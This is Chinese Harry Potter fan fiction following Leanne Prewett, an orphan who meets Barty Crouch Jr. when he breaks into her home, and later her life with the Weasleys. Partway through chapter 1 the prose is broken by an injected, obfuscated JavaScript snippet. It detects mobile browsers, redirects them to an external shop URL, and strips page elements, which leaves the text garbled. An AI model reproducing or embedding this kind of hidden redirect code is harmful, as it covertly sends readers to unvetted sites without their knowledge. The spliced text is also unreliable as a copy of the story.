《HP遥远星球》 1. 陋居 1981年11月09日,英国汉普郡惠韦尔村。 夜空中翻滚着粗大的紫色闪电,随即是震耳欲聋的雷声,像从很远的山林里传来,又像从很高的山坡上传来,由远而近,由远而近… 一场暴雨落下,豆大的雨点噼噼啪啪的敲打着窗户,雨水狂泻,大地犹如一面巨大的铜镜被劈成了两半,从中间流出现了一条宽阔、深广的大河,河水咆哮奔腾着,冲进了草地,又差点冲进了房子里。 “小主人,”一个家养小精灵踌躇的转着圈,片刻后,她走到窗台前,举起双手想要托住看着窗外的女孩儿,“我们回去吧,该睡觉了。” “好吧。”女孩儿转过头来,不再用额头抵着窗户了,她从窗台上往下一跳,浅金色的头发扬起,扑进了小精灵怀里。 “爸爸什么时候回来呢?” 小精灵不敢回答,把她放在地上,牵着她往楼梯的方向走去。 女孩儿撅起嘴,边走边吹蜡烛,直到客厅里还剩最后一根在楼梯拐角的蜡烛时,门外突然传来一阵细微的响动。 小精灵立刻绷紧了神经,警惕的看着大门,“小主人,你得允许我用魔法。” “用吧。”她毫不拖泥带水的说,目光也转向了大门。 门哐当一声打开了,房子上的各种防御性咒语也被打破,雨水倒灌进来,女孩儿提起裙摆,跳到了楼梯扶手上。 “Stupefy. ”一个身穿兜帽黑袍的身影极快的击晕了小精灵,一闪而过的雷电中,女孩儿发现他脸上还戴着面具。 来人关上门,滚滚的雷声又变小了,他把魔杖插回口袋,这才不紧不慢的走到客厅的壁炉边烤火,男人把长袍脱了下来,放到壁炉边,露出一头金发。 女孩儿面无表情的看着这位不速之客,直到他终于发现这栋房子里还有个活人,立刻大步朝着她走来。 “普威特家还有活人?我还以为是哪个缺德的家伙把玩偶放在这里了呢,吓我一跳。”男人把她抱了起来,感觉小身体轻飘飘的,再配上严肃的表情,看起来就像个没有生气的布娃娃。 “你叫什么?”男人抱孩子的动作不是很熟练,听声音也相当年轻,还带着点儿少年好听的鼻音。 女孩儿没有说话,突然伸手去掀他的面具。 男人惊讶了一瞬,没有反抗,女孩儿把他的面具扔在地上,又扯着他的脸,一口咬了上去。 “坏人!” “哈哈哈哈哈!”面具下是一张年轻英俊的脸,少年笑得有点神经质,女孩儿的小米牙磨着他的脸皮,湿漉漉的,还有点痒。 “我还以为你不会说话呢,”少年托着腋窝把她举了起来,女孩儿的小短腿在空中不停扑腾,他恶劣的笑了笑,威胁道,“快说,是不是普威特家的女孩儿,不然,我就送你去见普威特兄弟!” “我不说!”女孩儿胡乱踢着,但她只有四岁,根本够不到这个闯进她家里的狂徒,只能气愤的瞪着他,壁炉的火光映在蓝眼睛里,就像在她眼中燃烧一样。 “说!”少年继续吓唬道,“不然我就把这个小精灵杀了,再把你绑在这里,让你一直看着她的尸体!” 女孩儿气鼓鼓的瞪着他,“我记住你了!” “哦?那你记住我了,我也得记住你,”少年慢条斯理的说着,又把她放在手臂上,“你挺好玩儿的,说说吧,你叫什么名字?” “莉安·普威特,”莉安双手用力捏在他脸上,仿佛想要把他的脸皮扯下来似的,她愤怒的尖叫着,“我爸爸是吉迪恩·普威特,你等着吧,他会把你抓进阿兹卡班!” “噢是吗?可是他已经死了,”少年不在意的挑了挑眉毛,残忍的说,“和你的叔叔一起,两个月前就死掉了!” “你胡说!”莉安被他刺激得哇哇大哭,“我爸爸才不会死,他是英雄!” “他是英雄,”少年拖腔拖调的重复了一边,用袖子帮她擦了擦眼泪,怪声怪气的说,“你这小鬼还挺别扭的,我都不想杀你了。” “呜呜呜!”莉安搂着他的脖子大哭起来,“爸爸,我要爸爸!” “爸爸没有,只有叔叔,”少年嫌弃的拍了拍她的后背,但动作很轻柔,“还真是普威特的遗孤啊…你母亲呢?” “莉安没有母亲…”她抽泣着说。 少年没有说话,只是抱着她继续烤火,感觉这小身体暖呼呼的,他的身体也从冷得有些僵硬渐渐缓和过来了。 莉安哭够了,打了个嗝儿,紧紧的抓着他的肩膀,“你要杀了我吗?” “你知道什么是死吗?”少年的声音没有波澜,只是抱着她坐到了沙发上,他在等着雨停。 “不知道。” “死了就是什么也没有,就像水消失在水中。” 莉安眨了眨眼睛,四岁的她完全无法理解这句话,她的两条腿跨坐在少年腿上,仰着头,面对面的看着他。 “你是谁?” “小鬼,这不是你该知道的,”少年盯着她,灰色的眼睛露出一抹戏谑的光芒,“自己想个死法,或者给我个不杀你的理由。” 莉安高高的扬着头,她年纪还小,虽然所有人都告诉她,她的父亲已经死了,以后再也见不到他了,但她并不太理解死亡的意义,便无所畏惧。 “我不怕!” 少年挑高了眉毛,露出一个邪恶的表情,但莉安使劲儿的拍了拍他的脸,“你这个大坏蛋,休想让我屈服!” “可是你今晚就要和大坏蛋一起睡觉呢,”少年不怀好意的扬起嘴角,捏了捏她软绵绵的小身子,兴致盎然的说,“给我当个抱枕还凑合。” 说完,他舒舒服服的躺在沙发上,把又踢又打的莉安禁锢在怀里,对她的尖叫充耳不闻。 莉安发泄了一会儿,精疲力竭的趴在他身上大口的喘着气,她还是个小孩子,犯困的时间居多,现在又是深夜,她已经困得快要睁不开眼睛了。 “坏蛋…”她喃喃的说,眼睛慢慢的合上了,不多时,少年就感觉怀里传来一阵阵轻微的小呼噜声。 他没有睁开眼睛,心里思索着下一步去哪里寻找主人,最好是先找几个帮手,不如去莱斯特兰奇庄园碰碰运气。 快天亮时,他翻身坐起,把怀里睡得正香的女孩儿放回沙发上,拔出了魔杖。 魔杖对准了女孩儿,他的手几次游移,嘴唇微微抖动,到底还是没有吐出那个咒语。 现在主人才是最重要的,他没兴趣找乐子,何况,她还是个孩子… 他放下了魔杖,把已经烘干了的兜帽长袍穿在身上,又戴上了面具。 跨过地上昏迷不醒的小精灵,离开普威特的房子时,他淡淡的看了一眼沙发上的女孩儿,推开门,走入弥漫着白雾的破晓中。 1981年11月19日,英国汉普郡惠韦尔村。 “莉安,要不你就和我去陋居住一阵子吧。” 一个胖墩墩、慈眉善目的女人说道,她刚从壁炉里钻出来,身上围着碎花围裙,魔杖插在了口袋里,此时正拍打着身上的炉灰。 “不,姑妈,我要在这里等爸爸。”莉安坚决的说完,又趴在了窗台上。 “但是你太小了,如果又像上次那样,有人闯进房子里,那怎么办呢?”莫丽·韦斯莱忧心忡忡的说,“我听赫洛说了,真没想到,神秘人倒台了还会发生这种事…梅林保佑,幸好你没事,不然普威特家族怎么办呢?第二天隆巴顿夫妇就被袭击了…” 莉安没有说话,莫丽又开始絮絮叨叨起来,她打定主意非把这个侄女带走不可。 “比尔和查理很想你,”莫丽低声说,“噢,还有刚出生的小金妮,你不想见见她吗?” 莫丽提起女儿,简直心花怒放了,她双手捧着脸,一副梦幻般的温柔表情,“亲爱的,我敢保证,你一见到她就会喜欢上她的,跟我回去住几天吧,等确保咱们这儿绝对安全的时候,我就送你回来,好不好?” “绝对不会让你孤单的!”她信誓旦旦的说道。 “好吧,姑妈。”莉安倒腾着小短腿下了窗台,她实在受不了姑妈喋喋不休的轰炸自己的大脑了。 莫丽欢呼一声,小精灵赫洛很有眼色的提起了箱子——她早就把小主人的东西收拾好了,毕竟没有人能躲开这位普威特小姐的热情,当年莫丽还没有跟亚瑟·韦斯莱私奔时,她对家养小精灵极好。 莫丽迫不及待的抱住侄女,又从花盆里捏起一撮亮晶晶的粉末,走到火炉前,把粉末丢进火焰里。 呼的一声,炉火变得碧绿,升得比人还高,她径直走进火里,喊了一声,“陋居!” 眨眼间两人就不见了。 火焰像一股热风,莫丽把侄女紧紧的按在自己怀里,怕她一张嘴就会吸进滚烫的烟灰。 莉安感觉自己被吸进了一个巨大的龙卷风里,她正在急速旋转,耳旁的呼啸声震耳欲聋,她拼命想睁开眼睛,可是飞旋的绿色火焰让她感到头晕目眩,她抱紧了莫丽,还是不停的转啊转,过了一会儿,她眯着眼向莫丽的肩膀上面看去,只见一连串炉门模糊的闪过,隐约能瞥见壁炉外的房间… 当她们终于钻出壁炉时,莉安喘了口气,大声的咳嗽着。 “饿了么?”莫丽掸了掸身上的炉灰,抱着她进了厨房。 厨房很小,相当拥挤,中间是一张擦得干干净净的木头桌子和几把椅子,莉安被她放在其中一张椅子上,屁股只沾了一点边儿,但她还是够不到地面。 她对面墙上的挂钟只有一根针,没标数字,钟面上写着“煮茶”、“喂鸡”、“你要迟到了”之类的话,壁炉架上码着三层书:《给你的奶酪施上魔法》、《烤面包的魔法》、《变出一桌盛宴!》等——都是魔法书。 这时,水池旁的旧收音机里说:“接下来是‘魔法时间’,由著名的女巫歌唱家塞蒂娜·沃贝克表演。” 赫洛用小精灵的魔法幻影移形,到达陋居比她们更快,已经开始收拾房间了,莫丽正在叮铃当啷的做午饭,她把香肠和鸡蛋扔进煎锅里,漫不经心的听着门外的动静。 等她把香肠鸡蛋三明治放进莉安的盘子里时,韦斯莱先生带着他的两个儿子回来了。 韦斯莱先生瘫在厨房的椅子上,摘掉了眼镜,两眼闭着,他是个瘦瘦的男人,头发和他孩子们的一样红,穿着一件暗色的休闲长袍,显得有些气喘吁吁。 “这一上午真够呛!”他嘟囔着说,伸手去摸茶壶,“查理总是精力旺盛,一点儿也不像珀西那么安静…” 亚瑟·韦斯莱喝了一大口茶,舒了口气。 “那你留在家里带弗雷德和乔治?”莫丽不怀好意的说。 亚瑟打了个哆嗦,“噢不…亲爱的,你真的辛苦了…咦,莉安呢?” 他左看右看,终于在旁边的椅子上看到了小小一团的莉安,女孩儿的脸几乎埋进了盘子里。 “噢,她没事!谢天谢地!要知道昨天部里审判的时候,那几个人的罪名差点就加上强闯普威特的祖宅了。” 莫丽走近了他,手里举着一根拨火棍,像举着一把剑,亚瑟张大了嘴巴,心虚的看着他的妻子。 “怎、怎么了,莫丽,亲爱的?” “他们差点弄死英雄的后代,”莫丽眼睛里冒着火,“费比安没有结婚,吉迪恩只留下了一个骨血,但他们还是闯进了房子,把小精灵击昏了,然后…然后我可怜的才四岁的侄女居然跟那个万恶的食死徒待了一晚上!别让我知道他是谁!” “可是他们没做什么,所以没办法用这个罪名指控他们,”亚瑟硬着头皮解释,又把客厅里的《预言家日报》拿了过来,指着那上面四张会动的黑白照片给她看,“亲爱的,他们已经入狱了,不会对莉安做什么了,你别生气…” 莉安听到报纸被抖动的哗哗的声音,往亚瑟身边凑了凑,目不转睛的盯着头版那四张入狱照的其中一张。 金发灰眼的大坏蛋比之前她见过时显得憔悴许多,他试图挣脱手上的镣铐,却失败了,然后对着镜头掉下几滴眼泪,看起来可怜极了,他的嘴巴一开一合,看口型好像在说:不是我,我没有。 她的视线又移到照片下面,那里写着他的名字和他犯下的罪行。 [巴蒂·克劳奇二世,酷刑折磨弗兰克·隆巴顿和爱丽丝·隆巴顿夫妇,导致二人永久性残废。] “巴蒂·克劳奇二世,”她喃喃的重复着,“巴蒂·克劳奇…” “噢,说到巴蒂·克劳奇二世,我觉得巴蒂有点儿可怜,”亚瑟神情严肃的说,“他本来快要当上部长了,毕竟他的支持率那么高,可是自从儿子被曝光了食死徒的身份,他的声势暴跌,哪怕亲手把儿子送进了阿兹卡班,恐怕也不能如愿以偿了,那个男孩儿…” “那个男孩儿看起来像冤枉的,”莫丽重重的叹了口气,“也许他只是不该在那个地方出现而已,毕竟他哭得那么惨,而且,到底是什么让一个家境良好、出身名门的优等生成了食死徒呢?我记得他是个天才对吧,这肯定和克劳奇的家庭教育有关系,他身为一个父亲没有尽到责任,整天忙着抓黑巫师,我不是说他做的不对,而是最起码,他也应该多陪陪儿子吧?” “是,亲爱的,你说得对,”亚瑟可惜的摇了摇头,“这孩子在O.W.Ls拿了十二个O,每次我们几个同事见到巴蒂,他总会不经意的炫耀,但其实,也许他从来都没有了解过他儿子,不是吗?” “姑父,可以把这张报纸送我吗?”莉安平静的说。 “噢当然,”亚瑟微微吃了一惊,“你认识他?” 莉安点了点头,没说就是这个坏蛋闯进了她的房子。 “可是什么时候…” “这也没什么奇怪的,我哥哥是克劳奇手下的傲罗,也许莉安什么时候就被他带着拜访过克劳奇呢?见到了他儿子…”莫丽思索了一会,自顾自的解释道。 亚瑟松了口气,手掌 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13727467|144974||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 压在莉安头上,轻轻的抚摸着她的头发,“这孩子很可怜,没了母亲,现在也没了父亲…” “别说这种话!”莫丽隐晦的瞪了他一眼,亚瑟立刻老老实实的不吱声了。 这时,两人的长子比尔·韦斯莱突然窜进了厨房里,他眼睛转了转,猛地抱起了莉安,带着她往门外跑去。 “妈妈!我带表妹去玩儿!” “不要把她摔了,否则我要你好看,比尔——” 莉安趴在表哥怀里,打量着陋居,它以前似乎是个石头垒的大猪圈,后来在这里那里添建了一些房间,垒到了几层楼那么高,歪歪扭扭,不过是靠魔法搭起来的,看着摇摇欲坠,其实非常牢固。 红色的房顶上有四五根烟囱,屋前斜插着一个牌子,写着“陋居”,大门旁扔着一些高帮的皮靴,还有一口锈迹斑斑的坩埚,几只褐色的肥鸡在院子里啄食。 旁边是一个破破烂烂的车库,里面还停着一辆怪模怪样的青绿色汽车,看起来有些老了。 此时他们正站在房子前的花园里,这里很大,杂草丛生,草也需要割了——但是墙根有许多盘根错节的树林围绕着,各种莉安从没见过的植物从每个花圃里蔓生出来,还有一个绿色的大池塘,里面有好多青蛙。 “莉安,你的扫帚呢?”比尔抱着她往韦斯莱家在山上的一块围场走去。 那儿周围都是茂密的树,不会被下面村子里的人看见,他们可以在那里练习打魁地奇,只要不飞得太高就行,但他们不能用真正的魁地奇球,要是不小心让它们飞到村子上空,那就说不清楚了,毕竟村子里有不少麻瓜。 “还在陋居,”莉安说,“赫洛肯定带来了。” 比尔耸耸肩,他可不想下山去拿,所以他在附近摘了个苹果,跟莉安互相抛着玩儿。 过了一会儿,韦斯莱夫妇的第二个儿子查理·韦斯莱屁股后面跟着两个一模一样的红头发小男孩儿也上了山——韦斯莱夫妇的第四和第五个儿子,一对双胞胎。 “哎哟,我快烦死了,他们俩真是一会儿也不能消停!”查理一屁股坐在地上,抹了把汗,气喘吁吁的说。 双胞胎咯咯笑着,一个坐在他腿上,一个压在他身上,把他扑倒在地。 “噢,救救我…还是表妹乖…”查理手忙脚乱的想撕开两个八爪鱼一样的弟弟,但他实在应付不过来,只好对着比尔伸出手,微弱的说。 “没办法,家里数你最老实,愿意惯着他们,这两个小坏蛋不欺负你欺负谁呢?”比尔嘴里数落着弟弟,但却慢吞吞的一手一个,把两个弟弟抓在手里,查理终于能爬起来了。 “我希望金妮能温柔一点儿,”他不好意思的笑了笑,“像莉安一样就可以啦!” 听到表哥的夸奖,莉安紧绷的神经放松了些,对着他露出一个笑容,左侧脸颊上一个梨涡若隐若现。 这时,韦斯莱双子七手八脚的缠在了她身上,他们兴奋的喊道,“表姐,表姐!有表姐陪我们玩咯!” 莉安还小,身体有些不稳,和两个表弟滚成一团,他们在草地上滚来滚去,但她很开心,毕竟她是个独生女,没有兄弟姐妹,父亲和叔叔又因为傲罗和凤凰社的成员的双重身份非常忙碌,导致家里只有一个小精灵陪着她,虽然莉安从小懂事,但她心里其实非常孤独。 她很羡慕韦斯莱家热闹的氛围,便也开心的抱住了两个调皮的双胞胎。 “表弟!” 等他们疯玩儿了一下午,太阳完全从地平线上消失时,亚瑟在妻子的催促下终于想起了他的几个儿子。 晚饭时,莉安见到了他们的第三个儿子,一脸严肃、像个小大人儿似的珀西·韦斯莱,他动作刻板,竭力维持完美的礼仪,对着她点了点头,看起来和一众活泼的韦斯莱格格不入。 “你的宠物吗?”莉安指着他胸口的口袋,那里正钻出来一只灰毛的大胖老鼠,似乎被饭菜的香味儿吸引了,长长的胡须一抖一抖。 “是的,”珀西爱惜的摸了摸,“你喜欢吗?” 莉安的头摇得像拨浪鼓。 哪个女孩子会喜欢老鼠! 因为人比较多,莫丽在花园里摆了两张桌子,上面是一道道美味佳肴,他们都坐了下来,在明净的深蓝色的夜空下吃饭。 因为下午消耗太多,莉安大口吃着鸡肉、火腿馅饼、煮土豆和沙拉,根本顾不上说话,只是听着几个表哥表弟耍宝。 “幸好罗恩和金妮还小,他们可以一个房间,”莫丽轻柔的说,“我看赫洛已经把空房间收拾好了,就是有点吵…” “没关系,姑妈,我很喜欢它。”因为有这么多人陪着,莉安难得露出了小孩子的模样,奶声奶气的说。 陋居的阁楼里住着一只食尸鬼,它只要觉得家里太安静了,就会高声嚎叫,咣啷咣啷的敲管子,虽然食尸鬼生得丑陋,但它并不是一种特别危险的怪物,一般居住在属于巫师家庭的阁楼上或者谷仓中,吃那儿的蜘蛛和飞蛾。 它总是不断地呻吟,偶尔还到处乱扔东西,但基本上头脑简单,最坏也不过是对着那些偶然碰到它的人吼叫一番,让人受一番惊吓,魔法部的神奇生物管理控制司里有一支食尸鬼驱逐队,他们的任务就是赶走生活在那些已经住到麻瓜住宅里的食尸鬼,但是,在巫师家庭中,食尸鬼时常是他们茶余饭后的话题,甚至会成为全家人的宠物,韦斯莱家就是如此。 吃饱喝足后,比尔带着莉安穿过窄窄的过道,来到一段高低不平的楼梯前,楼梯曲折盘旋,他们爬了两层,来到一扇油漆剥落的房门前走了进去。 倾斜的天花板几乎碰到了比尔的头,这间房间里所有的东西看上去都很朴实,床罩是粉色和浅绿色的,桌子上摆满了莉安的常用物品,还有一副自动洗牌的纸牌,而窗台上有一口小鱼缸,缸里似乎还有些青蛙卵。 比尔让她躺到床上,帮她盖好被子,又拿起一本画册——《疯麻瓜马丁·米格斯历险记》,绘声绘色的给她讲起故事来。 莉安翻身看了看床内侧的小窗外,下面的花园菜地里,一群地精正在一个接一个偷偷钻进韦斯莱家的树篱,然后她转过头来,发现比尔的声音已经停了。 “是不是小了点儿?”比尔温柔的说,“比起普威特的宅子来说,的确显得有点简陋,不然怎么会叫陋居呢?而且你房间上面就是阁楼,里面住着那个食尸鬼,他会哼哼叽叽,我真怕你晚上被他吵醒。” “不会的,表哥,”莉安快乐的对他说,“可是这儿有很多人陪着我呀。” 比尔的脸红了。 又念了一会儿,比尔看她渐渐闭上了眼睛,似乎是睡着了,帮她吹灭了蜡烛。 等他离开房间后,莉安突然睁开了眼睛,从睡裙的口袋里掏出来一张从《预言家日报》上剪下来的照片,就着洒进小窗里的明亮月光仔细打量着。 “巴蒂·克劳奇…” 她默念着大坏蛋的名字,陷入了睡眠中。 2. 荨麻 1994年8月21日,英国汉普郡惠韦尔村。 一只棕色的老猫头鹰“砰”的一声撞在了厨房的窗户上,又渐渐滑落下去,赫洛连忙出门把它捡起来,拿到了它爪子里的信,并且在窗台撒了一把猫头鹰粮食,这才转身走回屋里。 莉安听到动静,立刻从训练室出来,看到病恹恹的猫头鹰,心疼得想把它放在栖枝上,但是它一直往下掉,只好任由它躺在窗台上了,又拿了一些生肉条喂它。 “埃罗尔这样老了,应该早点退休,我真怕它哪天体力不支倒在路上。”她担忧的说。 “虽然韦斯莱先生家里三只猫头鹰,但只有这一只是韦斯莱夫人的,”赫洛摇了摇头,她也有些于心不忍,便说道,“要不然,小姐可以给他们…” “这不行,”莉安叹了口气,抹了抹额头上的汗水,说道,“姑妈不会接受的,这在她看来是一种施舍,如果她愿意的话,我当然想把普威特金库里的加隆全都给她。” 赫洛毕竟是个小精灵,不太懂人类的思维,便把那封信给了她,“是韦斯莱夫人的信呢,看起来很着急的样子。” “我知道是什么,看来韦斯莱家已经决定了。”莉安笑了笑,展开了羊皮纸。 亲爱的莉安: 也许弗雷德和乔治已经对你说过,魁地奇世界杯赛将于星期一夜里举行,但我要通知你一个高兴的消息,亚瑟通过他在魔法体育运动司的关系,弄到了几张最好的票。 我真希望你能一起去观看比赛,这实在是一次千载难逢的机会,毕竟英国已经三十年与奖杯无缘了,球票很不容易弄到,当然了,如果你愿意,我很欢迎你一直住到暑假结束,然后和几个弟弟一起乘火车返校。 希望很快见到你。 爱你的姑妈,莫丽。 莉安珍惜的把信纸举过头顶,在透过窗户的阳光下打量着,明亮的蓝眼睛里漾出笑意。 “看来,一会儿我们又要去一趟陋居了,”莉安对赫洛说,“去收拾行李吧,今年我们要去看世界杯。” “太好了小姐!”赫洛欢呼一声,举着两只小拳头,大眼睛扑闪扑闪的,“那小主人你还回来吗?” “要回来,虽然姑妈邀请了我住到暑假结束,但是我可不忍心表哥们给我腾房间,”想到比尔和查理,她的表情柔和下来,“今年我可以见到他们了。” 说完,她跟着小精灵往二楼走去。 赫洛收拾行李时,莉安对着梳妆台上的镜子仔细端详,里面一个漂亮的十七岁少女正在看着她,波浪般及腰的浅金色长卷发下面是一对深蓝色的眼睛,鼻梁高挺,嘴巴小巧,和稍显柔和的眉骨很搭,中和了有些锐利的五官。 “小主人长得很像女主人,”赫洛尖着嗓子说,“不然小姐的头发应该是红色的。” “红头发也很好看啊,”莉安对着镜子美美的转了个圈,声音也不再那么冷静了,“毕竟爸爸那么英俊,表哥也很帅气。” 她的目光转向卧室四周,房间里有满满当当一大堆东西,在她的床脚旁有一个行李箱正敞开着,里面有银坩埚、火弩箭、黑袍子和各种各样的咒语书。 床头那本书是她昨晚看的,书上的图画都在动个不停,穿着鲜艳的橙红色袍子的小伙子骑在飞天扫帚上,嗖嗖的飞来飞去,相互掷着一个红色的球,一个球员把球投进五十英尺高的圆环,十分漂亮的赢得了一分。 她爱惜的把这本比尔表哥送的《和火炮队一起飞翔》的书塞进了箱子里,决定带到学校去,哪怕这是她在霍格沃茨的最后一年了。 “小主人,你要幻影移形吗?还是我带着你?”赫洛已经收拾好了几天的行李,毕竟谁也说不准世界杯什么时候结束。 “你先去陋居吧,我换身衣服就好。”莉安说。 赫洛鞠了一躬,拖着箱子打了个响指,爆裂声传来,她幻影移形了。 莉安在衣柜里不停翻找,终于在一堆素色的巫师袍中找到了一条漂亮的绿色长裙,因为世界杯的营地中有麻瓜,去看比赛的巫师们必须尽量打扮成麻瓜的样子,这样才不会让麻瓜察觉到异常。 她换上这条暗绿色的裙子,又拿了一条同色的发带,把一半头发束了起来,等镜子甜言蜜语的夸她非常美丽时,才满足的松了口气。 莉安最后环顾房间,检查还有没有需要携带的东西,突然,她的目光落在床头上贴着的那张入狱照上,微不可察的皱了皱眉。 她把魔杖插进口袋里,走下楼梯,离开了普威特祖宅的保护咒范围,幻影移形了。 片刻后,奥特里-圣卡奇波尔村,陋居。 “莉安,怎么过了这么久?你的小精灵都到了好一会儿了。”查理正在门口修理一张破破烂烂的木桌子,看到她,放下了手里的活计,对她伸出一只大手。 莉安对他伸出拳头,果不其然,查理的手在碰到她的最后一秒也变成了拳头,于是两人亲亲热热的用拳头推来推去,不约而同的发出了阵阵笑声。 等查理笑够了,莉安立刻掰开他的手,几年不见,他的掌心又多了许多老茧和水泡,毕竟查理在罗马尼亚研究火龙,这是一份非常危险的职业,但什么也架不住他对火龙是真爱,莫丽只好天天祈祷她的儿子不会像大部分驯龙人那样变成残疾。 她的目光又移到查理脸上,他的身材和双胞胎差不多,比豆芽菜一般的珀西和罗恩要矮胖、结实一些,长着一副好好先生似的阔脸,饱经风霜,脸上布满密密麻麻的雀斑,看上去几乎成了棕黑色,手臂肌肉也很结实,一只手臂上有一道被火灼伤的发亮的大伤疤。 “别担心,”查理注意到了她的目光,不在意的笑了笑,“已经好了,不会疼了。” 莉安不赞同的摇了摇头,刚想说什么,眼角余光就看到一个身影从陋居里走出来,正倚在门上看着她。 她的心突然跳得很快…不受控制的转过头朝他看去… “莉安。” “比尔。” 比尔走到门外,微笑着冲她张开手臂,莉安加速向他扑过去,在被他拥抱的那一刻起,她觉得自己飞了起来——不是做梦,比尔抱着她在转圈,她的双脚离开了地面,随着他转动的方向自由的飘来飘去。 “比尔,你要在英国待多久?”莉安的双脚接触到地面时,还紧紧的拥着他。 “送你去霍格沃茨之后就会离开了,”比尔在她耳边轻声说,“但是,等你快毕业的时候,我可能会回来。” 听到前一句话,莉安的表情有些冷淡,但等比尔全部说完之后,笑容又回到了她的脸上。 比尔在埃及的古灵阁银行工作,虽然上学的时候是霍格沃茨的男学生会主席,但他并不是刻板严肃的翻版珀西,他不会对违反校规大惊小怪,也不喜欢对周围的每个人发号施令,实际上他的性格非常温柔。 莉安打量着他,才发现他变得更酷了,他比自己高大概半个头,长长的头发在脑后扎成一个马尾巴,耳朵上还戴着一只耳环,上面悬着一个狼牙似的东西,而他这身黑色的皮衣和铆钉短靴,即使是去参加麻瓜乐队Queen的摇滚音乐会也不会显得不合适,他跟麻瓜最大的不同大概就是,那双靴子不是牛皮而是龙皮做的。 望着比尔那双笑盈盈的蓝眼睛,莉安突然觉得有些失神,两人面对面,脸贴着脸,差一点就要情不自禁,但这时,两个不怀好意的大嗓门从门里飘了出来。 “莉安,太妃糖吃不吃?” “吃完就像喝了美丽药剂一样哟!” 莉安和比尔立刻分开,表情都有些讪讪的,她掩饰性的清了清嗓子,警惕的说,“不必了。” 比尔也开始哄两个弟弟进屋,“好了,别欺负你们的表姐,爸爸才指责你们用肥舌太妃糖捉弄麻瓜,消停一会吧。” 韦斯莱双子打量着他们,脸上同时露出一抹只可意会不可言传的笑容,怪声怪气的笑起来,其中一个还拍了拍比尔的肩膀,“我们都懂…” “你们能不能安静一会儿!”戴着牛角边眼镜的珀西从楼上的一扇窗户探出头来,“我正在为部里赶一篇报告——” “噢那真是太棒了,”双子异口同声的说,“坩埚厚度怎么样?明天《预言家日报》没有你的报告我们不看。” “你们就尽管挖苦嘲笑吧,”珀西涨红了脸,激动的说,“可是必须颁布施行某种国际法,不然我们就会发现市场上充斥着伪劣产品,埚底薄,脆弱易碎,严重危害——” “好的,我们知道了,”比尔不容置疑的打断了弟弟牢骚似的炫耀,“现在,可以把你的窗户关上了,一会儿会更吵。” 珀西重重的关上了窗户,莉安看着撇嘴摇头的双子,憋不住笑问了一句,“珀西整个暑假都是这样吗?” “是啊,自从他进了魔法部就一直这副姿态,”乔治说,“在国际魔法合作司,喋喋不休的和我们提坩埚渗漏的问题,每天吃饭睡觉都在说——” “天呐,”弗雷德夸张的接了下去,“谁会关注坩埚的厚度啊,哪有我们的道具好玩,莉安,订货吗?我保证你回了学校就是霍格沃茨最靓的崽!” 莉安瞪着这两个活宝,嘴唇抖动半晌,最终认命掏钱,“我只有一个要求,这些东西不许用到我身上,你们两个,听到没有!” “没问题,我亲爱的表姐。”弗雷德干脆的说。 乔治立刻掏出了一张崭新的羊皮纸让她签名,嘴里还在嘀嘀咕咕,“唉,之前的订货单被妈妈烧掉了,幸好我脑子里还有备份…” 莉安签完名,无奈的摇了摇头,决定一会让赫洛去一趟普威特的金库,支援两个表弟一把。 不过说实话,他们的恶搞道具也挺好玩儿的… “好了,我打算去帮姑妈准备晚饭。”莉安看了比尔一眼,见他还在看自己,脸上有些发红,匆匆往陋居里走去。 莫丽正在厨房里忙碌,而赫洛在一旁往锅里挤奶油酱,她身边还围着四个孩子:一个满脸雀斑的红头发瘦高个男孩儿——小表弟罗恩·韦斯莱,一个长着非常浓密的棕色头发、两个门牙很大的女孩儿——赫敏·格兰杰,另一个女孩儿身材矮小,也是一头韦斯莱家标志性的红发,是她的小表妹金妮·韦斯莱,至于另一个黑发乱糟糟,身材瘦弱的绿眼睛男孩儿,那就是魔法界大名鼎鼎的大难不死的男孩儿——哈利·波特。 这简直就是格兰芬多开会! “我们在外面的园子里吃饭,”莉安进去以后,莫丽给了她一个热情的拥抱,“这里可容不下十二个人,莉安,你和金妮赫敏能把这些盘子端出去吗?比尔和查理在摆桌子呢。” 莉安点点头,又对着表弟和哈利打了个招呼。 “你们拿刀叉。”莫丽一边吩咐罗恩和哈利,一边用魔杖点了点水池里的一堆土豆,可是没想到她用的劲儿大了一点,土豆自动脱皮的速度太快,一个个都蹿到墙上和天花板上去了。 “天哪。”她恼火的说,又用魔杖对着一个侧立的簸箕点了一下,簸箕立刻就跳了起来,在地板上滑来滑去,把土豆一个个撮了起来。 “这两个家伙!”她恶狠狠的说,一边从碗柜里抽出许多大锅小锅,“真不知道他们会变成什么样儿,没有一点雄心壮志,整天就知道变着法儿闯祸…” 莉安走到外面时,还能听到莫丽的吐槽。 来到花园时,一只姜黄色的、罗圈腿的猫正在在园子里跑来跑去,瓶刷子似的尾巴高高的竖着,正在追赶一个地精,它身高不足十英寸,浑身粘满泥巴,活像一个长了腿的土豆,坚硬的小脚啪哒啪哒走得飞快,穿过园子,一头钻进散放在门边的一只惠灵顿皮靴里,那只猫把一只爪子伸进了靴子,想抓住它,而地精在里面疯狂的咯咯大笑。 就在这时,另一头传来了震耳欲聋的撞击声,莉安转头才发现比尔和查理都拔出了魔杖,正在调动两只破破烂烂的旧桌子在草坪上飞着,互相撞击着,想把对方的桌子从空中打落,弗雷德和乔治在一旁欢呼,金妮看到了,突然哈哈大笑,赫敏在篱笆边徘徊,看样子又觉得好玩,又感到紧张,不知如何是好。 正当她们端着盘子看兄弟两个玩得起劲时,只听“梆”的一声,比尔的桌子猛地击中了查理的桌子,把它的一条腿打掉了,这时,头顶上传来一阵清脆的撞击声,他们同时抬起头,珀西的脑袋又从三楼的窗口探了出来。 “你们能不能小声点儿?”他吼道。 “对不起,珀西,”比尔笑嘻嘻的说,“坩埚底怎么样啦?” “很糟糕。”珀西没好气的说,“砰”的一声关上了窗户。 比尔和查理轻声笑着,用魔杖指引桌子稳稳的降落到草地上,然后,比尔用魔杖轻轻一点,把那根桌腿重新接上,又凭空变出了桌布。 